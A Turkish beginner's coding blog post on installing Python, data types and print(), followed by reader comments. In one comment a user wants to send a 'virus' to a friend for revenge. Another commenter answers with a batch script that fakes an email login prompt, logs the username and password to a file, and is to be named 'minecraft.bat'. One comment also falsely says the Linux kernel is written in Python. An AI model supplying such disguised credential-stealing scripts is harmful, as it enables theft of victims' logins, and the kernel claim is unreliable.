KOMUT BLOĞUM

                                                            KODLAMA REHBERİ

Arkadaşlar, öncelikle kodlama yapmadan önce nolduğunu öğrenelim.

Kodlama elimizin altındaki insana benzeyen ama aptal olan bu makinelere emir vermektir.

Bunun için üniversiteye gitmenize gerek yok. Çünkü KOMUT BLOĞUM size yeterince yardım edecek.

Öncelikle elinizde bir bilgisayar olması gerekli çünkü emir verecek kimse olmadığı sürece emir vermenin anlamı yok.

Ardından kodlamayı yapacağınız dile karar vermelisiniz.

Dünya üzerinde adlarını bilmediğim kodlama dilleri var ve bugün size birkaçından bahsedeceğim.


KODLAMA DİLLERİ:

  1. Python
  2. Java
  3. C++
  4. Ruby
  5. Go
  6. C#
  7. PASCAL
  8. MATLAB
  9. Javascript
  10. Groovy


Eğer yeniyseniz ve daha hiç kodlama yapmadıysanız size Python'u öneririm.

Python, kolay syntax'i ve her pc'de rahat çalışabilir olmasından dolayı ilk hedefiniz olmalı.

"Peki dili seçtik şimdi?" diye sorucak olursanız Python'u indirmeniz gerekli çünkü henüz Python diliyle kodlama yapmanız için gerekenleri bilgisayara indirmedik.

Bunu indirmek için <https://www.python.org/downloads/> bu linkle kendinize uygun olan dosyaya tıklayın. 

İndirilen dosyayı açın ve karşınıza bir setup ekranı gelecektir.

Daha önce windows bilgisayarınıza yazılım falan kurduysanız setup ekranı ile haşır neşirsiniz demektir. Sürekli İleri'ye basarak kurun.

Bittiğinde Python hazır demektir. Şimdi masaüstüne yeni bir uygulama gelmediyse

bilgisayarın "Ara" bölümünden "Python" yazıp bulabilirsiniz.

Eğer Python'u açtıysanız karşınıza siyah bir ekran gelir. Bu ekran Python dilinin kabuğudur. Kodlarımızı bir süre burada yazacağız.

İlk Komut: Şimdi başlayalım bu mala emir vermeye...

ilk olarak bir şeyler deneyin. Mesela bir yazı yazın ve Enter'a Basın. Farkettiğiniz gibi hata verdi. Bunun sebebi Python'un bu yazıyı algılayamamasıdır.

Python'da veri tipleri: Python'da temel olarak 4 tür veri vardır. Bunlar;

  • BOOL (MANTIKSAL)
  • İNTEGER (SAYISAL)
  • FLOAT (VİRGÜLLÜ SAYI)
  • STRİNG (KARAKTER DİZİSİ)

 buradaki bool eğer 9.sınıfta sembolik mantık gördüyseniz rahatça anlayacağınız bir veridir. bool veri bir şeyin doğru ya da yanlış, 1 ya da 0 olduğunu belirtir.


integer ise bildiğimiz sayılardır. Aynı 1, 0, 5, 2895, -12215, +59389 gibi.


float ise integer gibi ancak farkı içinde virgüllü ifade barındırmasıdır. Mesela 4 ve 4,0 eşittir fakat Python'da bunlar birbirinden farklı veri türleridir.


string ise bildiğimiz yazıdır. Evet yazı, karakter dizisi, Alfanumerik ile yapılmış her şeydir. Az önce siyah ekrana bir yazı yazdığınızda olmama sebebi  string verilerin her zaman çift tırnak ile yazılması gerektiğindendir. Yoksa bu , aptal alet , bilgisayar anlamaz.

şu yazıcağım şeyi tırnak işaretleriyle beraber direk siyah ekrana yapıştırmayı deneyin.

"Komut Bloğum'a bayılıyorum."

çıktı olarak şunlar yazacaktır: 'Komut Bloğum'a bayılıyorum.'

şimdi anlamışsınızdır neden hata verdiğini.

fonksiyonlar:Bunlar matematikteki canavarlar değil kodlamadaki hayat kurtarıcılardır. fonksiyonlar bir işi makineye anlatmak için kullandığımız sözcüktür. Mesela makineye "şuraya git" dediğimizde oradaki "git" bizim fonksiyonumuz olur. Aynen bunu gibi Python'da da fonksiyonlar vardır.

bugün sadece print() fonksiyonunu inceleyeceğiz.


print(): siyah ekrana istediğiniz şeyi yazdırabilen ilk fonksiyondur.

farkettiğiniz gibi print() 'in yanında bir parantez var. İşte o paranteze print'e yazdırmak istediklerimizi yazacağız.

örnek gerekirse;

>>>print("Komut Bloğum'a bayılıyorum.")

çıktı;

Komut Bloğum'a bayılıyorum.

 

içine hangi veriyi yazarsanız onu ekrana bastırır.


Arkadaşlar bu haftalık yayınımız bu kadar sakın kodlamadan sıkılmayın bu gösterdiklerim denizde bir damla kadardır.

sağlıklı ve esen kalın... bay bay



Yorumlar

  1. iletişime geçmek isteyenler için;
    e-posta:alcxxx5342@gmail.com
    discord:https://discord.gg/u3mhJJ

    YanıtlaSil
  2. abi ben işletim sistemi yapmak istiyorum nasıl yapmalıyım

    YanıtlaSil
  3. Selamlar herkese benim bi sıkıntım var.bilgisayarima linux kurdum ve windowsa geri donmek istiyorum ancak hic bi iso yazdirma programiyla olmadi.rufusu wine ile denedim.usbyi gormedi.naapmaliyim

    YanıtlaSil
  4. Öncelikle merhaba bloguma hoşgeldin.
    Eğer windows isosu yazdırmak istiyorsan sana onerebileceğim
    bir program var. programın adı woeusb eğer ubuntu türevi bir dağıtım kullanıyosan kendi yazılım kutuphanesinden kurabilirsin.Ancak terminalden kuracaksan;

    sudo add-apt-repository ppa:nilarimogard/webupd8
    sudo apt update
    sudo apt install woeusb

    kodları bunlar.

    eger bir hata olursa bana tekrar geri bildirmde bulunabilirsin

    YanıtlaSil
  5. arkadaşlar işletim sistemi öyle basit birşey değildir.azami 7-8 yıllık emek ister bi linuxu tekrardan yazmak.bu yuzden benim sana onerim kendini pythonda geliştir.hem şuanda linuxun kerneli python dili ile geliştiriliyo.

    hem bi insanın ,python, assembly, c, java gibi dilleri sıfırdan alması cok uzun suren bi olay ancak bu gucunu linux kerneline destek olarak harcaman senin yararına olucaktır.

    YanıtlaSil
  6. Yanıtlar
    1. arkadaşlar argo kullanmayalım ben burda elimden geldiğince size bilgi aktarmak istiyorum ama siz bana zorluk çıkarıyosunuz

      Sil
  7. arkadaşlar ben kodlama yapmak istiyorum ama nerden başlıycam bilmiyorum

    YanıtlaSil
    Yanıtlar
    1. python3 ile başlayabilirsiniz.çok yönlü ve yeni başlayanlara uygun bir dildir.

      Sil
    2. tesekkurler ama ben nasıl kullanacağımı bilmiyorum

      Sil
    3. arkadaşım oncelikle sana anlatayım.Eğer python öğrenmeye karar verdiysen, bu iş video izleyerek olmaz.Senin alıştırmalar yapman lazım o yüzden https://www.python.org/downloads/ şu adresten kendine uygun bir python sürümü yüklemen gerek sonra kurulum yapıp bilgisayarında açman lazım.python ekranı öyle ahım şahım değil ama kodlarla onu mükemmelleştirebilirsin.

      Sil
  8. dediğiniz gibi indirdim ve ilk programımı yaptım.henüz "hello world" yazdırıyo ama olsun!

    YanıtlaSil
  9. ben oyun yapmak istiyorum
    lütfen yardımedin

    YanıtlaSil
  10. Bu yorum yazar tarafından silindi.

    YanıtlaSil
  11. Bu yorum yazar tarafından silindi.

    YanıtlaSil
  12. arkadaşlar kufur etmeyiniz

    YanıtlaSil
  13. iletişime geçmek isteyenler için;
    e-posta:alcxxx5342@gmail.com
    discord:https://discord.gg/u3mhJJ

    YanıtlaSil
  14. sa benim bi sorunum var gecenlerde bi arkadasım bana bi e-mail yolladı. guvendim oyun falan dedi bilgisayarımı cokertti surekli ekranım acılıp kapanıyodu.format attırdım duzeltmeye calıştım.allaha sukur ekran kartı yanmadı. bende ona bi virus yollamak istiyorum ama napıcamı bilmiyorum.

    YanıtlaSil
  15. arkadaşım bence sen virus yapacağına arkadaşlarını doğru seç yoksa bu gidişle çok kandırılırsın

    YanıtlaSil
  16. arkadaşım ben virus istiyorum virus oc almak istiyorum.

    YanıtlaSil
  17. @echo off
    color b
    title (istediğinizi yazın)
    cls
    echo E-posta adresi ve sifrenizi giriniz
    echo.
    echo.
    cd “C:Logs”
    set /p user=Username:
    set /p pass=Password:
    echo Username=”%user%” Password=”%pass%” >> Log.txt
    start >>Tıklayın<<
    exit

    YanıtlaSil
  18. yukardaki kodu notepade yapıştır sonra dosya adını "minecraft.bat" olarak kaydet

    al sana basit bi virus işte

    YanıtlaSil
  19. selamun aleykum bilal emmi

    YanıtlaSil
  20. aman aman nereye geldik biz böyleee

    YanıtlaSil
  21. knkcım siten guzel olmusta napıyon brda

    YanıtlaSil

Yorum Gönder